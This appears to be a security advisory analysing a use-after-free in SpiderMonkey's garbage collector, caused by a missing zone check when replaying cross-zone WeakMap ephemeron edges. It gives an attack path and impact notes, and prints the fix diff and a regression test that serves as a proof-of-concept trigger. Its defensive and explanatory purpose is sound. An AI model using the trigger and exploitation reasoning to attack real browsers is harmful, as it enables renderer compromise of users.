CVE-2026-117865
Overview
Background
- Ephemeron edge
- In SpiderMonkey’s GC, a
WeakMapentrykey → valueis modeled as an ephemeron edge: thevalueis only kept alive if thekeyis reachable. These edges are stored per-key inEphemeronEdgeVectors and replayed during marking byMarkingTracerT<opts>::markEphemeronEdges(js/src/gc/Marking.cpp). - Mark color (gray/black)
- The incremental/CC-aware marker tracks a current
markColor()(black or gray).MarkColor targetColor = std::min(srcColor, edge.color())computes the weakest color at which the edge’s target should be marked; the target is only pushed iftargetColor == markColor(). - Zone and `shouldMarkInZone`
- Each GC thing lives in a
Zone. A GC collects only a subset of zones.zone->shouldMarkInZone(color)reports whether that zone is actually being collected in that color during the current slice. Marking a thing in a zone that is not being collected drives tracing into memory the collector is not prepared to handle this cycle. - Cross-compartment WeakMap
- A
WeakMapin one global can hold keys/values that live in another global/zone (the test wiresgh’sh2.stog1’sSymbol). Such edges cross zone boundaries, so the edge target’s zone need not match the source’s zone.
Root Cause Analysis
markEphemeronEdges replays each stored ephemeron edge once its key becomes reachable. The old code gated the mark solely on color: if (targetColor == markColor()) { ApplyGCThingTyped(edge.target(), ...); }. It never checked whether edge.target()’s own zone is actually participating in the current collection at that color. Because ephemeron edges can be cross-zone (a gray-rooted WeakMap in zone A whose value is a Symbol in zone B, as the regression test bug-2058653.js constructs via grayRoot() and gh.h2.s = g1.S), the target can reside in a zone that is not being marked this cycle. Calling markAndTraverse on a thing in a non-collected zone violates the invariant that the marker only ever touches things in zones it is collecting: it can resurrect/trace an object whose zone’s mark bits and sweep state are not set up for this slice, corrupting the marker’s view of liveness.
The patch adds the missing zone gate: it fetches Zone* zone = edge.target()->zone(); and marks only when targetColor == markColor() && zone->shouldMarkInZone(targetColor). This ensures an ephemeron target is traversed only if its zone is genuinely being collected in the matching color, so the marker never follows an edge into a zone it is not collecting. The advisory labels this a use-after-free in JavaScript: GC, and the diff substantiates exactly that: a gray/cross-zone ephemeron target could be marked in the wrong GC state, causing an object to be freed while an edge still references it (or traced after its zone’s state made the pointer invalid).
Attack Path
- Setup cross-compartment weak graph
Script creates multiple globals/compartments and chains
WeakMaps so a value edge crosses into another zone (e.g.wm2.set(h1, h2)withh2.spointing at aSymbolfrom a different global). - Seed gray roots
The attacker pushes the WeakMaps and key onto the gray roots (cycle-collector roots) via
grayRoot(), so marking replays these ephemeron edges during a gray marking phase. - Drop strong references
All strong references (
K1,h1,h2, theSymbol) are nulled so the objects are reachable only through the weak/gray graph. - Drive incremental GC
startgc(1)+ repeatedgcsliceruns the incremental marker;markEphemeronEdgesreplays the cross-zone edge and, lacking the zone check, marks/traverses a target whose zone is not being collected this cycle. - Corrupt liveness tracking The out-of-phase traversal causes an object to be treated with the wrong mark/sweep state, so it is freed while still referenced (or a stale pointer is traced), yielding a use-after-free (inferred: concrete freed-object reuse depends on heap layout).
Impact Assessment
WeakMap + cross-realm references; no special privilege is required, though triggering it reliably depends on GC timing and the gray-root/cycle-collector path (the test uses shell-only grayRoot/gcslice hooks, but cross-compartment weak graphs and incremental GC occur in normal web content). The achieved primitive is a use-after-free of a GC thing, i.e. a dangling pointer the attacker can groom into, the classic foundation for an exploitable renderer compromise. The gating is the need to arrange a cross-zone ephemeron edge that is marked while its zone is not collected, so exploitation requires careful GC state manipulation.Files Changed
js/src/gc/Marking.cppjs/src/jit-test/tests/gc/bug-2058653.js
Audit Directions
- Other edge replays in the markerReview every site in
js/src/gc/Marking.cppthat callsmarkAndTraverse/ApplyGCThingTypedon a stored target (weak edges, weak references, finalization/weakref queues) for a missingshouldMarkInZonecheck on the target’s zone, not just color. - Cross-zone weak containersAudit
WeakMap/WeakSet/WeakRef/FinalizationRegistrymarking and sweeping for cross-compartment key/value pairs where the value’s zone may differ from the key’s, and confirm each only marks into collected zones. - Gray marking and the cycle collectorExamine gray-root replay and
AutoAssertNoGC/color-matching paths for assumptions thattargetColor == markColor()alone implies the target is safe to trace. - `shouldMarkInZone` call sitesGrep for places that gate marking on color but omit a zone predicate, as the pattern fixed here likely recurs in less-exercised tracers.
Patch
diff --git a/js/src/gc/Marking.cpp b/js/src/gc/Marking.cpp
index 6e3d2f9d106..02c339e23a8 100644
--- a/js/src/gc/Marking.cpp
+++ b/js/src/gc/Marking.cpp
@@ -772,7 +772,9 @@ void MarkingTracerT<opts>::markEphemeronEdges(EphemeronEdgeVector& edges,
MarkColor targetColor = std::min(srcColor, MarkColor(edge.color()));
MOZ_ASSERT(markColor() >= targetColor);
- if (targetColor == markColor()) {
+
+ Zone* zone = edge.target()->zone();
+ if (targetColor == markColor() && zone->shouldMarkInZone(targetColor)) {
ApplyGCThingTyped(edge.target(), edge.target()->getTraceKind(),
[this](auto t) { this->markAndTraverse(t); });
}
diff --git a/js/src/jit-test/tests/gc/bug-2058653.js b/js/src/jit-test/tests/gc/bug-2058653.js
new file mode 100644
index 00000000000..aa76012d160
--- /dev/null
+++ b/js/src/jit-test/tests/gc/bug-2058653.js
@@ -0,0 +1,28 @@
+gczeal(0);
+var gh = newGlobal({newCompartment: true});
+var g1 = newGlobal({newCompartment: true});
+g1.eval(`
+ var wm = new WeakMap();
+ var S = Symbol("hidden");
+ wm.set(S, {});
+`);
+gh.eval(`
+ var wm1 = new WeakMap();
+ var wm2 = new WeakMap();
+ var K1 = {};
+ var h1 = {};
+ var h2 = { s: null };
+ wm1.set(K1, h1);
+ wm2.set(h1, h2);
+ grayRoot().push(K1);
+ grayRoot().push(wm1);
+ grayRoot().push(wm2);
+`);
+gh.h2.s = g1.S;
+g1.eval(`S = null;`);
+gh.eval(`wm1 = null; wm2 = null; K1 = null; h1 = null; h2 = null;`);
+
+startgc(1);
+while (gcstate() != "NotActive") {
+ gcslice(10000000);
+}
Regression Test / PoC
diff --git a/js/src/jit-test/tests/gc/bug-2058653.js b/js/src/jit-test/tests/gc/bug-2058653.js
new file mode 100644
index 00000000000..aa76012d160
--- /dev/null
+++ b/js/src/jit-test/tests/gc/bug-2058653.js
@@ -0,0 +1,28 @@
+gczeal(0);
+var gh = newGlobal({newCompartment: true});
+var g1 = newGlobal({newCompartment: true});
+g1.eval(`
+ var wm = new WeakMap();
+ var S = Symbol("hidden");
+ wm.set(S, {});
+`);
+gh.eval(`
+ var wm1 = new WeakMap();
+ var wm2 = new WeakMap();
+ var K1 = {};
+ var h1 = {};
+ var h2 = { s: null };
+ wm1.set(K1, h1);
+ wm2.set(h1, h2);
+ grayRoot().push(K1);
+ grayRoot().push(wm1);
+ grayRoot().push(wm2);
+`);
+gh.h2.s = g1.S;
+g1.eval(`S = null;`);
+gh.eval(`wm1 = null; wm2 = null; K1 = null; h1 = null; h2 = null;`);
+
+startgc(1);
+while (gcstate() != "NotActive") {
+ gcslice(10000000);
+}